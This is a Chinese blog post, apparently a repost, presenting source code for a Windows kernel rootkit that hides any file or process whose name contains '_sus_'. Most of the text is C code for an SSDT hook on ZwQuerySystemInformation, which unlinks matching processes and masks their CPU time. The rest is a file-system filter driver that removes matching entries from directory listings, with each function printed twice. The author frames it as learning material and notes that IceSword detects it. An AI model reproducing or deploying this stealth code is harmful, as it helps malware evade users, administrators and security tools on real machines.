您的位置:首页 > 其它

一个rootkit程序--隐藏文件和进程

2017-09-04 19:29 549 查看
This is SUS's rootkit. It can hide files and processes

   when their names include "_sus_".

=================================================================

Written by dklkt.  2007.9

Notice that it can't run automaticly after the computer reboot!
Usage: sushide2003 [-start]             Install and start the SUS's rootkit.

       sushide2003  -uninstall          Uninstall the rootkit.

-----------------------------------------------------------------   
直接运行,或者加参数-start运行,都是安装并开始rootkit.而加参数-uninstall则是停掉并移除rootkt.
    这个程序的功能是隐藏所有文件名中含有_sus_的文件,并且也在进程中隐藏它们.
    下面说说具体的功能实现:
    1.隐藏进程.
       隐藏进程的实现用的是SSDT钩子技术. SSDT是System Service Dispatch Table(系统服务调度表
).该表可以基于系统调用病好进行索引,以便定位函数的内存地址. 再说说windows操作系统,
有个叫
ZwQuerySystemInformation的函数, Taskmgr.exe通过该函数获取系统上的进程列表. 我们通过将
NtQuerySystemInformation函数放到SSDT中, 然后在原函数返回的结果上进行过滤,就可以达到隐藏进程
的目的.

     这个是新写的ZwQuerySystemInformation函数:

NTSTATUS NewZwQuerySystemInformation(   

            IN ULONG SystemInformationClass,   

            IN PVOID SystemInformation,   

            IN ULONG SystemInformationLength,   

            OUT PULONG ReturnLength)   

{   

  

   NTSTATUS ntStatus;   

  

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (   

          SystemInformationClass,   

          SystemInformation,   

          SystemInformationLength,   

          ReturnLength );   

  

   if( NT_SUCCESS(ntStatus))    

   {   

      // Asking for a file and directory listing   

      if(SystemInformationClass == 5)   

      {   

       // This is a query for the process list.   

             

         struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *) SystemInformation;   

         struct _SYSTEM_PROCESSES *prev = NULL;   

        

     while(curr)   

     {   

            //DbgPrint("Current item is %x/n", curr);   

      if (curr->ProcessName.Buffer != NULL)   

      {   

        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),  L"_sus_") )    //进程名中包含_sus_则隐藏   

        {   

          m_UserTime.QuadPart += curr->UserTime.QuadPart;   

          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;   

  

          if(prev) // Middle or Last entry   

          {   

            if(curr->NextEntryDelta)   

              prev->NextEntryDelta += curr->NextEntryDelta;   

            else  // we are last, so make prev the  end   

              prev->NextEntryDelta = 0;   

          }   

          else  

          {   

            if(curr->NextEntryDelta)   

            {   

              // we are first in the list, so  move it forward   

              (char *)SystemInformation += curr- >NextEntryDelta;   

            }   

            else // we are the only process!   

              SystemInformation = NULL;   

          }   

        }   

      }   

      else // This is the entry for the Idle process   

      {   

         // Add the kernel and user times of _root_*    

         // processes to the Idle process.   

         curr->UserTime.QuadPart += m_UserTime.QuadPart;   

         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;   

  

         // Reset the timers for next time we filter   

         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;   

      }   

      prev = curr;   

        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);   

        else curr = NULL;   

       }   

    }   

    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes   

    {   

         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;   

         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;   

    }   

  

   }   

   return ntStatus;   


NTSTATUS NewZwQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength)

{
   NTSTATUS ntStatus;
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

          SystemInformationClass,

          SystemInformation,

          SystemInformationLength,

          ReturnLength );
   if( NT_SUCCESS(ntStatus)) 

   {

      // Asking for a file and directory listing

      if(SystemInformationClass == 5)

      {

       // This is a query for the process list.
     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

         struct _SYSTEM_PROCESSES *prev = NULL;

     

     while(curr)

     {

            //DbgPrint("Current item is %x/n", curr);

      if (curr->ProcessName.Buffer != NULL)

      {
        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),L"_sus_") )    //进程名中包含_sus_则隐藏

        {

          m_UserTime.QuadPart += curr->UserTime.QuadPart;

          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
          if(prev) // Middle or Last entry

          {

            if(curr->NextEntryDelta)
              prev->NextEntryDelta += curr->NextEntryDelta;
            else  // we are last, so make prev the end

              prev->NextEntryDelta = 0;

          }

          else

          {

            if(curr->NextEntryDelta)

            {
              // we are first in the list, so move it forward
              (char *)SystemInformation += curr->NextEntryDelta;

            }

            else // we are the only process!

              SystemInformation = NULL;

          }

        }

      }

      else // This is the entry for the Idle process

      {

         // Add the kernel and user times of _root_* 

         // processes to the Idle process.

         curr->UserTime.QuadPart += m_UserTime.QuadPart;

         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
         // Reset the timers for next time we filter

         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

      }

      prev = curr;

        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

        else curr = NULL;

       }

    }

    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes

    {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

    }
   }

   return ntStatus;

}    2.隐藏文件
      本来隐藏文件也可以用钩子的,但是由于手头有MS的IFS DDK,所以干脆写成了文件过滤驱动.它直
接作用于文件系统驱动之上, 将其得到的结果修改后返回上层驱动. 因为文件过滤驱动比较复杂,因此我
这里只是简单的修改了一下DDK开发包里提供的sfilter例子.

     首先是创建一个处理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControlview plaincopy to clipboardprint?

//=================================================   

NTSTATUS   

FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,   

                   IN PIRP Irp)   

{   

    NTSTATUS status;   

    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp   

  

(IO_STACK_LOCATION)的参数   

//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;   

  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;   

    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;   

    KEVENT waitEvent;   

    //UNICODE_STRING path;   

  

    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));   

  

    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)   

    {   

        goto SkipHandle;   

    }   

    if (Irp->RequestorMode == KernelMode)   

    {   

        goto SkipHandle;   

    }   

  if (KeGetCurrentIrql() != PASSIVE_LEVEL )   

  {   

    goto SkipHandle;   

  }   

  /*  

    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass)   

    {      

        goto SkipHandle;  

    }*/  

  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=FileBothDirectoryInformation)   

  {   

    goto SkipHandle;   

  }   

    //设置完成回调函数   

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);   

    IoCopyCurrentIrpStackLocationToNext(Irp);   

    //IoSetCompletionRoutine   

  

(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);   

    IoSetCompletionRoutine(       

                            Irp,   

                            DirControlCompletion,        //CompletionRoutine   

                            &waitEvent,                    //context parameter   

                            TRUE,   

                            TRUE,   

                            TRUE   

                            );   

  

    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);   

    if (STATUS_PENDING == status)   

    {   

        //等待完成   

        status = KeWaitForSingleObject(&waitEvent,   

                                        Executive,   

                                        KernelMode,   

                                        FALSE,   

                                        NULL   

                                        );   

        ASSERT(STATUS_SUCCESS == status);   

    }   

    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))    

    {       

        IoCompleteRequest(Irp, IO_NO_INCREMENT);   

        return status;   

    }   

    //KdPrint(("Hook Directory./n"));   

    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);   

  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));   

  

    IoCompleteRequest(Irp, IO_NO_INCREMENT);   

    return status;   

  

SkipHandle:   

    IoSkipCurrentIrpStackLocation(Irp);   

    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);   


//=================================================

NTSTATUS  FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)

{

    NTSTATUS status;
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp(IO_STACK_LOCATION)的参数

//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;

  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;

    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;

    KEVENT waitEvent;

    //UNICODE_STRING path;
    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));
    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)

    {

        goto SkipHandle;

    }

    if (Irp->RequestorMode == KernelMode)

    {

        goto SkipHandle;

    }

  if (KeGetCurrentIrql() != PASSIVE_LEVEL )

  {

    goto SkipHandle;

  }

  /*
    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass) 

    {    

        goto SkipHandle;

    }*/
  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=FileBothDirectoryInformation)

  {

    goto SkipHandle;

  }

    //设置完成回调函数

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    IoCopyCurrentIrpStackLocationToNext(Irp);

    //IoSetCompletionRoutine
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);

    IoSetCompletionRoutine(    

                            Irp,

                            DirControlCompletion,        //CompletionRoutine

                            &waitEvent,                    //context parameter

                            TRUE,

                            TRUE,

                            TRUE

                            );
    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);

    if (STATUS_PENDING == status)

    {

        //等待完成

        status = KeWaitForSingleObject(&waitEvent,

                                        Executive,

                                        KernelMode,

                                        FALSE,

                                        NULL

                                        );

        ASSERT(STATUS_SUCCESS == status);

    }

    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length)) 

    {    

        IoCompleteRequest(Irp, IO_NO_INCREMENT);

        return status;

    }

    //KdPrint(("Hook Directory./n"));

    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);

  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return status;
SkipHandle:

    IoSkipCurrentIrpStackLocation(Irp);

    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);

}然后对返回的结果进行操作:view plaincopy to clipboardprint?

//-------------------------------------------   

//隐藏文件过滤的函数   

BOOLEAN  HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)   

{   

  //处理目录操作   

  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;   

  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;   

  ULONG offset = 0;   

  ULONG position = 0;   

  ULONG newLenth = *lpBufLenth;   

//  WCHAR fileName[] = L"Test.txt";   

  do  

  {   

    offset = currentDirInfo->NextEntryOffset;   

    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中包含_sus_则隐藏   

    {   

      //Now We Will Test The FileName   

      //KdPrint(("%08x Hided File:%ws[%d]/n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));   

      if (0 == offset)   

      {   

        //KdPrint(("l[%d][%d][%d][%d]/n", newLenth, *lpBufLenth, position, newLenth-(*lpBufLenth - position)));   

        //Reset Last DirInfo NextEntryOffset To Zero!!!   

        if (lastDirInfo)   

        {   

          lastDirInfo->NextEntryOffset = 0;   

          newLenth -= *lpBufLenth - position;   

        }   

        else  

        {   

          currentDirInfo->NextEntryOffset = 0;   

          *lpBufLenth = 0;   

          return TRUE;   

        }   

      }   

      else  

      {   

        //KdPrint(("n[%d][%d][%d]/n", newLenth, *lpBufLenth,  position));   

        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +offset, *lpBufLenth - position - offset);   

        newLenth -= offset;   

        position += offset;   

      }   

    }   

    else  

    {   

      //KdPrint(("%08x Directory:%ws/n", currentDirInfo->FileAttributes,    

  

currentDirInfo->FileName));   

      //Move Next   

      position += offset;   

      lastDirInfo = currentDirInfo;   

      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);   

    }   

  } while (0 != offset);   

  *lpBufLenth = newLenth;   

  return TRUE;   

}   

//-------------------------------   

//完成例程   

NTSTATUS   

DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)   

{   

  PKEVENT event = Context;   

  

    UNREFERENCED_PARAMETER( DeviceObject );   

    UNREFERENCED_PARAMETER( Irp );   

  

    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));   

  

  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);   

    KeSetEvent(event, IO_NO_INCREMENT, FALSE);   

  

    return STATUS_MORE_PROCESSING_REQUIRED;    


//-------------------------------------------

//隐藏文件过滤的函数

BOOLEAN

HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)

{

  //处理目录操作

  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;

  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;

  ULONG offset = 0;

  ULONG position = 0;

  ULONG newLenth = *lpBufLenth;

//  WCHAR fileName[] = L"Test.txt";

  do

  {

    offset = currentDirInfo->NextEntryOffset;
    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中含_sus_则隐藏

    {

      //Now We Will Test The FileName
      //KdPrint(("%08x Hided File:%ws[%d]/n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));

      if (0 == offset)

      {
        //KdPrint(("l[%d][%d][%d][%d]/n", newLenth, *lpBufLenth,position, newLenth-(*lpBufLenth - position)));

        //Reset Last DirInfo NextEntryOffset To Zero!!!

        if (lastDirInfo)

        {

          lastDirInfo->NextEntryOffset = 0;

          newLenth -= *lpBufLenth - position;

        }

        else

        {

          currentDirInfo->NextEntryOffset = 0;

          *lpBufLenth = 0;

          return TRUE;

        }

      }

      else

      {
        //KdPrint(("n[%d][%d][%d]/n", newLenth, *lpBufLenth,position));
        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +offset, *lpBufLenth - position - offset);

        newLenth -= offset;

        position += offset;

      }

    }

    else

    {
      //KdPrint(("%08x Directory:%ws/n", currentDirInfo->FileAttributes,currentDirInfo->FileName));

      //Move Next

      position += offset;

      lastDirInfo = currentDirInfo;
      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);

    }

  } while (0 != offset);

  *lpBufLenth = newLenth;

  return TRUE;

}

//-------------------------------

//完成例程

NTSTATUS

DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)

{

  PKEVENT event = Context;
    UNREFERENCED_PARAMETER( DeviceObject );

    UNREFERENCED_PARAMETER( Irp );
    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));
  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);

    KeSetEvent(event, IO_NO_INCREMENT, FALSE);
    return STATUS_MORE_PROCESSING_REQUIRED; 

}     因为还是初学rootkit,所以以上代码并非本人原创, 特此声明. 在此也感谢下作者. 很多地方我也
是正在学习中. 目前正在看Greg Hoglund 和James Butler写的《ROOTKITS--Windows内核的安全防护》
。也给大家推荐下。另外,顺便提下,本程序中所用到的方法都可以被IceSword检测到。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐